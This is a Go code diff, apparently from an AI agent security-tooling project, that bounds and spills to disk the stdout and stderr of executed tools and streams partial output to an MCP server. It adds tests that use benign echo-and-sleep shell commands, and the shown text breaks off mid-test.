func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
|
func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
|
||||||
mw := &config.MultiAgentEinoMiddlewareConfig{
|
mw := &config.MultiAgentEinoMiddlewareConfig{
|
||||||
ReductionMaxLengthForTrunc: 128,
|
ReductionMaxLengthForTrunc: 4096,
|
||||||
LatestUserMessageMaxRunes: 64,
|
LatestUserMessageMaxRunes: 64,
|
||||||
}
|
}
|
||||||
userContent := strings.Repeat("model-facing-user-", 100)
|
userContent := strings.Repeat("model-facing-user-", 100)
|
||||||
@@ -66,6 +66,24 @@ func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestHistoryToMessagesCapsOversizedModelFacingToolTrace(t *testing.T) {
|
||||||
|
mw := &config.MultiAgentEinoMiddlewareConfig{ReductionMaxLengthForTrunc: 128}
|
||||||
|
h := []agent.ChatMessage{
|
||||||
|
{Role: "assistant", ModelFacingTrace: true, ToolCalls: []agent.ToolCall{{ID: "t1", Type: "function", Function: agent.FunctionCall{Name: "exec"}}}},
|
||||||
|
{Role: "tool", ToolCallID: "t1", ToolName: "exec", Content: strings.Repeat("model-facing-tool-", 1000), ModelFacingTrace: true},
|
||||||
|
}
|
||||||
|
msgs := historyToMessages(h, nil, mw)
|
||||||
|
if len(msgs) != 2 {
|
||||||
|
t.Fatalf("len=%d", len(msgs))
|
||||||
|
}
|
||||||
|
if len(msgs[1].Content) > 128 {
|
||||||
|
t.Fatalf("restored model-facing tool bytes=%d, want <=128", len(msgs[1].Content))
|
||||||
|
}
|
||||||
|
if !strings.Contains(msgs[1].Content, "legacy tool output discarded") {
|
||||||
|
t.Fatalf("missing cap marker: %q", msgs[1].Content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestHistoryToMessagesNeverReinjectsRawOversizedUserFallback(t *testing.T) {
|
func TestHistoryToMessagesNeverReinjectsRawOversizedUserFallback(t *testing.T) {
|
||||||
appCfg := &config.Config{OpenAI: config.OpenAIConfig{MaxTotalTokens: 10000}}
|
appCfg := &config.Config{OpenAI: config.OpenAIConfig{MaxTotalTokens: 10000}}
|
||||||
mw := &config.MultiAgentEinoMiddlewareConfig{LatestUserMessageMaxRunes: 8000}
|
mw := &config.MultiAgentEinoMiddlewareConfig{LatestUserMessageMaxRunes: 8000}
|
||||||
|
|||||||
+259
-32
@@ -16,8 +16,10 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/tooloutput"
|
||||||
|
|
||||||
"github.com/creack/pty"
|
"github.com/creack/pty"
|
||||||
|
"github.com/google/uuid"
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -37,6 +39,8 @@ type Executor struct {
|
|||||||
mcpServer *mcp.Server
|
mcpServer *mcp.Server
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数;0=默认 300;-1=关闭(见 SetShellNoOutputTimeoutSeconds)
|
shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数;0=默认 300;-1=关闭(见 SetShellNoOutputTimeoutSeconds)
|
||||||
|
toolOutputMaxBytes int
|
||||||
|
spillRootDir string
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewExecutor 创建新的执行器
|
// NewExecutor 创建新的执行器
|
||||||
@@ -57,6 +61,51 @@ func (e *Executor) SetShellNoOutputTimeoutSeconds(sec int) {
|
|||||||
e.shellNoOutputTimeoutSec = sec
|
e.shellNoOutputTimeoutSec = sec
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetToolOutputMaxBytes limits stdout/stderr retained and streamed by exec-like
|
||||||
|
// tools. It should stay aligned with MCP result normalization so every channel
|
||||||
|
// sees the same bounded payload. Oversized full output is spilled to disk first.
|
||||||
|
func (e *Executor) SetToolOutputMaxBytes(maxBytes int) {
|
||||||
|
e.toolOutputMaxBytes = maxBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetToolOutputSpillRoot sets the reduction-compatible root for spilling full
|
||||||
|
// exec stdout/stderr when the in-memory bound is exceeded (empty → tmp/reduction).
|
||||||
|
func (e *Executor) SetToolOutputSpillRoot(rootDir string) {
|
||||||
|
e.spillRootDir = strings.TrimSpace(rootDir)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *Executor) wrapToolOutputCallback(ctx context.Context, cb ToolOutputCallback) ToolOutputCallback {
|
||||||
|
executionID := mcp.MCPExecutionIDFromContext(ctx)
|
||||||
|
if e == nil || e.mcpServer == nil || strings.TrimSpace(executionID) == "" {
|
||||||
|
return cb
|
||||||
|
}
|
||||||
|
return func(chunk string) {
|
||||||
|
if chunk != "" {
|
||||||
|
e.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
|
||||||
|
}
|
||||||
|
if cb != nil {
|
||||||
|
cb(chunk)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *Executor) spillOptsFromContext(ctx context.Context) tooloutput.SpillOpts {
|
||||||
|
root := ""
|
||||||
|
if e != nil {
|
||||||
|
root = e.spillRootDir
|
||||||
|
}
|
||||||
|
opts := tooloutput.SpillOpts{RootDir: root}
|
||||||
|
if ctx != nil {
|
||||||
|
opts.ConversationID = mcp.MCPConversationIDFromContext(ctx)
|
||||||
|
opts.ProjectID = mcp.MCPProjectIDFromContext(ctx)
|
||||||
|
opts.ExecutionID = mcp.MCPExecutionIDFromContext(ctx)
|
||||||
|
}
|
||||||
|
if opts.ExecutionID == "" {
|
||||||
|
opts.ExecutionID = uuid.NewString()
|
||||||
|
}
|
||||||
|
return opts
|
||||||
|
}
|
||||||
|
|
||||||
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
|
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
|
||||||
func (e *Executor) buildToolIndex() {
|
func (e *Executor) buildToolIndex() {
|
||||||
e.toolIndex = make(map[string]*config.ToolConfig)
|
e.toolIndex = make(map[string]*config.ToolConfig)
|
||||||
@@ -149,9 +198,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
|||||||
|
|
||||||
var output string
|
var output string
|
||||||
var err error
|
var err error
|
||||||
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
|
spill := e.spillOptsFromContext(ctx)
|
||||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
// 如果上层提供了 stdout/stderr 增量回调,或当前处于 MCP execution 中,则边执行边读取并回调。
|
||||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
|
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
|
||||||
|
cb = e.wrapToolOutputCallback(ctx, cb)
|
||||||
|
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
|
||||||
if err != nil && shouldRetryWithPTY(output) {
|
if err != nil && shouldRetryWithPTY(output) {
|
||||||
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
||||||
zap.String("tool", toolName),
|
zap.String("tool", toolName),
|
||||||
@@ -159,11 +210,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
|||||||
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
||||||
applyDefaultTerminalEnv(cmd2)
|
applyDefaultTerminalEnv(cmd2)
|
||||||
_ = prepareShellCmdSession(cmd2)
|
_ = prepareShellCmdSession(cmd2)
|
||||||
output, err = runCommandWithPTY(ctx, cmd2, cb)
|
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// 非流式:内存缓冲 + ctx 取消杀进程组;行为对齐原 CombinedOutput,避免双流管道 fan-in 死锁。
|
// 非流式:内存缓冲 + ctx 取消杀进程组;行为对齐原 CombinedOutput,避免双流管道 fan-in 死锁。
|
||||||
output, err = combinedOutputCancellable(ctx, cmd)
|
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
|
||||||
if err != nil && shouldRetryWithPTY(output) {
|
if err != nil && shouldRetryWithPTY(output) {
|
||||||
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
||||||
zap.String("tool", toolName),
|
zap.String("tool", toolName),
|
||||||
@@ -171,7 +222,7 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
|||||||
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
||||||
applyDefaultTerminalEnv(cmd2)
|
applyDefaultTerminalEnv(cmd2)
|
||||||
_ = prepareShellCmdSession(cmd2)
|
_ = prepareShellCmdSession(cmd2)
|
||||||
output, err = runCommandWithPTY(ctx, cmd2, nil)
|
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -912,9 +963,11 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
|||||||
// 非后台命令:等待输出
|
// 非后台命令:等待输出
|
||||||
var output string
|
var output string
|
||||||
var err error
|
var err error
|
||||||
// 若上层提供工具输出增量回调,则边执行边流式读取。
|
spill := e.spillOptsFromContext(ctx)
|
||||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
// 若上层提供工具输出增量回调,或当前处于 MCP execution 中,则边执行边流式读取。
|
||||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
|
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
|
||||||
|
cb = e.wrapToolOutputCallback(ctx, cb)
|
||||||
|
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
|
||||||
if err != nil && shouldRetryWithPTY(output) {
|
if err != nil && shouldRetryWithPTY(output) {
|
||||||
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
||||||
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
||||||
@@ -922,10 +975,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
|||||||
cmd2.Dir = workDir
|
cmd2.Dir = workDir
|
||||||
}
|
}
|
||||||
ConfigureShellCmdForAgentExecute(cmd2)
|
ConfigureShellCmdForAgentExecute(cmd2)
|
||||||
output, err = runCommandWithPTY(ctx, cmd2, cb)
|
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
output, err = combinedOutputCancellable(ctx, cmd)
|
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
|
||||||
if err != nil && shouldRetryWithPTY(output) {
|
if err != nil && shouldRetryWithPTY(output) {
|
||||||
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
||||||
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
||||||
@@ -933,7 +986,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
|||||||
cmd2.Dir = workDir
|
cmd2.Dir = workDir
|
||||||
}
|
}
|
||||||
ConfigureShellCmdForAgentExecute(cmd2)
|
ConfigureShellCmdForAgentExecute(cmd2)
|
||||||
output, err = runCommandWithPTY(ctx, cmd2, nil)
|
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -974,9 +1027,19 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
|||||||
// 非流式路径不使用双流管道 fan-in,避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。
|
// 非流式路径不使用双流管道 fan-in,避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。
|
||||||
// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底,不改变原 CombinedOutput 语义。
|
// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底,不改变原 CombinedOutput 语义。
|
||||||
func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) {
|
func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) {
|
||||||
var stdoutBuf, stderrBuf strings.Builder
|
return combinedOutputCancellableWithLimit(ctx, cmd, 0, tooloutput.SpillOpts{})
|
||||||
cmd.Stdout = &stdoutBuf
|
}
|
||||||
cmd.Stderr = &stderrBuf
|
|
||||||
|
func combinedOutputCancellableWithLimit(ctx context.Context, cmd *exec.Cmd, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||||
|
var tee *tooloutput.Tee
|
||||||
|
if maxBytes > 0 {
|
||||||
|
tee = tooloutput.NewTee(spill)
|
||||||
|
defer func() { _ = tee.Close() }()
|
||||||
|
}
|
||||||
|
stdoutBuf := newBoundedOutputCollector(maxBytes, tee)
|
||||||
|
stderrBuf := newBoundedOutputCollector(maxBytes, tee)
|
||||||
|
cmd.Stdout = stdoutBuf
|
||||||
|
cmd.Stderr = stderrBuf
|
||||||
|
|
||||||
session, err := StartShellSession(cmd)
|
session, err := StartShellSession(cmd)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -1003,9 +1066,9 @@ func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, erro
|
|||||||
case waitErr = <-done:
|
case waitErr = <-done:
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
waitErr = <-done
|
waitErr = <-done
|
||||||
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), ctx.Err()
|
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), ctx.Err()
|
||||||
}
|
}
|
||||||
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), waitErr
|
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), waitErr
|
||||||
}
|
}
|
||||||
|
|
||||||
func joinCommandOutput(stdout, stderr string) string {
|
func joinCommandOutput(stdout, stderr string) string {
|
||||||
@@ -1018,9 +1081,164 @@ func joinCommandOutput(stdout, stderr string) string {
|
|||||||
return stdout + stderr
|
return stdout + stderr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type boundedOutputCollector struct {
|
||||||
|
builder strings.Builder
|
||||||
|
maxBytes int
|
||||||
|
seenBytes int
|
||||||
|
truncated bool
|
||||||
|
tee *tooloutput.Tee
|
||||||
|
}
|
||||||
|
|
||||||
|
func newBoundedOutputCollector(maxBytes int, tee *tooloutput.Tee) *boundedOutputCollector {
|
||||||
|
return &boundedOutputCollector{maxBytes: maxBytes, tee: tee}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *boundedOutputCollector) Write(p []byte) (int, error) {
|
||||||
|
b.WriteStringLimited(string(p))
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *boundedOutputCollector) WriteStringLimited(s string) string {
|
||||||
|
if b == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if b.tee != nil {
|
||||||
|
_, _ = b.tee.Write([]byte(s))
|
||||||
|
}
|
||||||
|
if b.maxBytes <= 0 {
|
||||||
|
b.seenBytes += len(s)
|
||||||
|
b.builder.WriteString(s)
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
b.seenBytes += len(s)
|
||||||
|
if b.builder.Len() >= b.maxBytes {
|
||||||
|
b.truncated = true
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
remaining := b.maxBytes - b.builder.Len()
|
||||||
|
if len(s) <= remaining {
|
||||||
|
b.builder.WriteString(s)
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
kept := truncateStringBytes(s, remaining)
|
||||||
|
b.builder.WriteString(kept)
|
||||||
|
b.truncated = true
|
||||||
|
return kept
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *boundedOutputCollector) String() string {
|
||||||
|
if b == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return b.builder.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func finalizeJoinedBoundedOutputs(stdout, stderr *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
|
||||||
|
if tee != nil {
|
||||||
|
_ = tee.Close()
|
||||||
|
}
|
||||||
|
truncated := (stdout != nil && stdout.truncated) || (stderr != nil && stderr.truncated)
|
||||||
|
seen := 0
|
||||||
|
if stdout != nil {
|
||||||
|
seen += stdout.seenBytes
|
||||||
|
}
|
||||||
|
if stderr != nil {
|
||||||
|
seen += stderr.seenBytes
|
||||||
|
}
|
||||||
|
joined := joinCommandOutput(
|
||||||
|
func() string {
|
||||||
|
if stdout == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return stdout.String()
|
||||||
|
}(),
|
||||||
|
func() string {
|
||||||
|
if stderr == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return stderr.String()
|
||||||
|
}(),
|
||||||
|
)
|
||||||
|
if maxBytes > 0 && !truncated && len(joined) > maxBytes {
|
||||||
|
truncated = true
|
||||||
|
seen = len(joined)
|
||||||
|
}
|
||||||
|
path := ""
|
||||||
|
if tee != nil {
|
||||||
|
path = tee.Path()
|
||||||
|
}
|
||||||
|
if truncated && maxBytes > 0 {
|
||||||
|
if path != "" {
|
||||||
|
return tooloutput.FormatPersistedFromFile(path, seen, maxBytes)
|
||||||
|
}
|
||||||
|
if len(joined) > maxBytes {
|
||||||
|
return truncateStringBytes(joined, maxBytes)
|
||||||
|
}
|
||||||
|
return joined
|
||||||
|
}
|
||||||
|
if path != "" {
|
||||||
|
_ = os.Remove(path)
|
||||||
|
}
|
||||||
|
if maxBytes > 0 && len(joined) > maxBytes {
|
||||||
|
return truncateStringBytes(joined, maxBytes)
|
||||||
|
}
|
||||||
|
return joined
|
||||||
|
}
|
||||||
|
|
||||||
|
func finalizeBoundedOutput(collector *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
|
||||||
|
if tee != nil {
|
||||||
|
_ = tee.Close()
|
||||||
|
}
|
||||||
|
if collector == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
path := ""
|
||||||
|
if tee != nil {
|
||||||
|
path = tee.Path()
|
||||||
|
}
|
||||||
|
if collector.truncated && maxBytes > 0 {
|
||||||
|
if path != "" {
|
||||||
|
return tooloutput.FormatPersistedFromFile(path, collector.seenBytes, maxBytes)
|
||||||
|
}
|
||||||
|
return truncateStringBytes(collector.String(), maxBytes)
|
||||||
|
}
|
||||||
|
if path != "" {
|
||||||
|
_ = os.Remove(path)
|
||||||
|
}
|
||||||
|
out := collector.String()
|
||||||
|
if maxBytes > 0 && len(out) > maxBytes {
|
||||||
|
return tooloutput.BoundWithSpill(out, maxBytes, tooloutput.SpillOpts{})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func limitOutputString(s string, maxBytes int, spill tooloutput.SpillOpts) string {
|
||||||
|
if maxBytes <= 0 || len(s) <= maxBytes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return tooloutput.BoundWithSpill(s, maxBytes, spill)
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateStringBytes(s string, maxBytes int) string {
|
||||||
|
if maxBytes <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if len(s) <= maxBytes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
cut := maxBytes
|
||||||
|
for cut > 0 && (s[cut]&0xC0) == 0x80 {
|
||||||
|
cut--
|
||||||
|
}
|
||||||
|
if cut <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return s[:cut]
|
||||||
|
}
|
||||||
|
|
||||||
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
|
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
|
||||||
// 使用定长块读取,避免按行读取在无换行输出时永久阻塞;ctx 取消时终止进程树。
|
// 使用定长块读取,避免按行读取在无换行输出时永久阻塞;ctx 取消时终止进程树。
|
||||||
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int) (string, error) {
|
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||||
stdoutPipe, err := cmd.StdoutPipe()
|
stdoutPipe, err := cmd.StdoutPipe()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
@@ -1072,7 +1290,12 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
|
|||||||
close(chunks)
|
close(chunks)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
var outBuilder strings.Builder
|
tee := (*tooloutput.Tee)(nil)
|
||||||
|
if maxBytes > 0 {
|
||||||
|
tee = tooloutput.NewTee(spill)
|
||||||
|
defer func() { _ = tee.Close() }()
|
||||||
|
}
|
||||||
|
outBuilder := newBoundedOutputCollector(maxBytes, tee)
|
||||||
var deltaBuilder strings.Builder
|
var deltaBuilder strings.Builder
|
||||||
lastFlush := time.Now()
|
lastFlush := time.Now()
|
||||||
|
|
||||||
@@ -1095,7 +1318,7 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
|
|||||||
fireInactivity := func() {
|
fireInactivity := func() {
|
||||||
TerminateShellCmdSession(session)
|
TerminateShellCmdSession(session)
|
||||||
msg := ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
msg := ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
||||||
outBuilder.WriteString(msg)
|
msg = outBuilder.WriteStringLimited(msg)
|
||||||
if cb != nil {
|
if cb != nil {
|
||||||
cb(msg)
|
cb(msg)
|
||||||
}
|
}
|
||||||
@@ -1116,7 +1339,7 @@ chunksLoop:
|
|||||||
return outBuilder.String(), ctx.Err()
|
return outBuilder.String(), ctx.Err()
|
||||||
case <-idleCh:
|
case <-idleCh:
|
||||||
fireInactivity()
|
fireInactivity()
|
||||||
return outBuilder.String(), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
return finalizeBoundedOutput(outBuilder, maxBytes, tee), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
||||||
case chunk, ok := <-chunks:
|
case chunk, ok := <-chunks:
|
||||||
if !ok {
|
if !ok {
|
||||||
break chunksLoop
|
break chunksLoop
|
||||||
@@ -1124,8 +1347,8 @@ chunksLoop:
|
|||||||
if chunk != "" && idleWatch != nil {
|
if chunk != "" && idleWatch != nil {
|
||||||
idleWatch.Bump()
|
idleWatch.Bump()
|
||||||
}
|
}
|
||||||
outBuilder.WriteString(chunk)
|
keptChunk := outBuilder.WriteStringLimited(chunk)
|
||||||
deltaBuilder.WriteString(chunk)
|
deltaBuilder.WriteString(keptChunk)
|
||||||
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
||||||
flush()
|
flush()
|
||||||
}
|
}
|
||||||
@@ -1135,7 +1358,7 @@ chunksLoop:
|
|||||||
|
|
||||||
// 等待命令结束,返回最终退出状态
|
// 等待命令结束,返回最终退出状态
|
||||||
waitErr := session.Wait()
|
waitErr := session.Wait()
|
||||||
return outBuilder.String(), waitErr
|
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
|
||||||
}
|
}
|
||||||
|
|
||||||
// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。
|
// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。
|
||||||
@@ -1188,15 +1411,14 @@ func shouldRetryWithPTY(output string) bool {
|
|||||||
|
|
||||||
// runCommandWithPTY 为子进程分配 PTY,适配需要交互式终端的工具(如 autorecon)。
|
// runCommandWithPTY 为子进程分配 PTY,适配需要交互式终端的工具(如 autorecon)。
|
||||||
// 若 cb != nil,将持续回调增量输出(用于 SSE)。
|
// 若 cb != nil,将持续回调增量输出(用于 SSE)。
|
||||||
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
|
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||||
if runtime.GOOS == "windows" {
|
if runtime.GOOS == "windows" {
|
||||||
// PTY 方案为类 Unix;Windows 走原逻辑
|
// PTY 方案为类 Unix;Windows 走原逻辑
|
||||||
if cb != nil {
|
if cb != nil {
|
||||||
return streamCommandOutput(ctx, cmd, cb, 0)
|
return streamCommandOutput(ctx, cmd, cb, 0, maxBytes, spill)
|
||||||
}
|
}
|
||||||
_ = prepareShellCmdSession(cmd)
|
_ = prepareShellCmdSession(cmd)
|
||||||
out, err := cmd.CombinedOutput()
|
return combinedOutputCancellableWithLimit(ctx, cmd, maxBytes, spill)
|
||||||
return string(out), err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = prepareShellCmdSession(cmd)
|
_ = prepareShellCmdSession(cmd)
|
||||||
@@ -1223,7 +1445,12 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
|||||||
}()
|
}()
|
||||||
defer close(done)
|
defer close(done)
|
||||||
|
|
||||||
var outBuilder strings.Builder
|
tee := (*tooloutput.Tee)(nil)
|
||||||
|
if maxBytes > 0 {
|
||||||
|
tee = tooloutput.NewTee(spill)
|
||||||
|
defer func() { _ = tee.Close() }()
|
||||||
|
}
|
||||||
|
outBuilder := newBoundedOutputCollector(maxBytes, tee)
|
||||||
var deltaBuilder strings.Builder
|
var deltaBuilder strings.Builder
|
||||||
lastFlush := time.Now()
|
lastFlush := time.Now()
|
||||||
flush := func() {
|
flush := func() {
|
||||||
@@ -1245,8 +1472,8 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
|||||||
// 统一换行为 \n,避免前端错位
|
// 统一换行为 \n,避免前端错位
|
||||||
chunk = strings.ReplaceAll(chunk, "\r\n", "\n")
|
chunk = strings.ReplaceAll(chunk, "\r\n", "\n")
|
||||||
chunk = strings.ReplaceAll(chunk, "\r", "\n")
|
chunk = strings.ReplaceAll(chunk, "\r", "\n")
|
||||||
outBuilder.WriteString(chunk)
|
keptChunk := outBuilder.WriteStringLimited(chunk)
|
||||||
deltaBuilder.WriteString(chunk)
|
deltaBuilder.WriteString(keptChunk)
|
||||||
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
||||||
flush()
|
flush()
|
||||||
}
|
}
|
||||||
@@ -1258,7 +1485,7 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
|||||||
flush()
|
flush()
|
||||||
|
|
||||||
waitErr := cmd.Wait()
|
waitErr := cmd.Wait()
|
||||||
return outBuilder.String(), waitErr
|
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeInternalTool 执行内部工具(不执行外部命令)
|
// executeInternalTool 执行内部工具(不执行外部命令)
|
||||||
|
|||||||
@@ -73,6 +73,43 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExecToolSoftWaitExposesPartialOutput(t *testing.T) {
|
||||||
|
executor, server := setupTestExecutor(t)
|
||||||
|
server.ConfigureToolWaitTimeoutSeconds(1)
|
||||||
|
mcp.RegisterExecutionControlTools(server, nil)
|
||||||
|
server.RegisterTool(mcp.Tool{Name: "exec", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
return executor.ExecuteTool(ctx, "exec", args)
|
||||||
|
})
|
||||||
|
|
||||||
|
result, executionID, err := server.CallTool(context.Background(), "exec", map[string]interface{}{
|
||||||
|
"command": "for i in 1 2 3 4; do echo partial-$i; sleep 0.3; done; sleep 5",
|
||||||
|
"shell": "sh",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
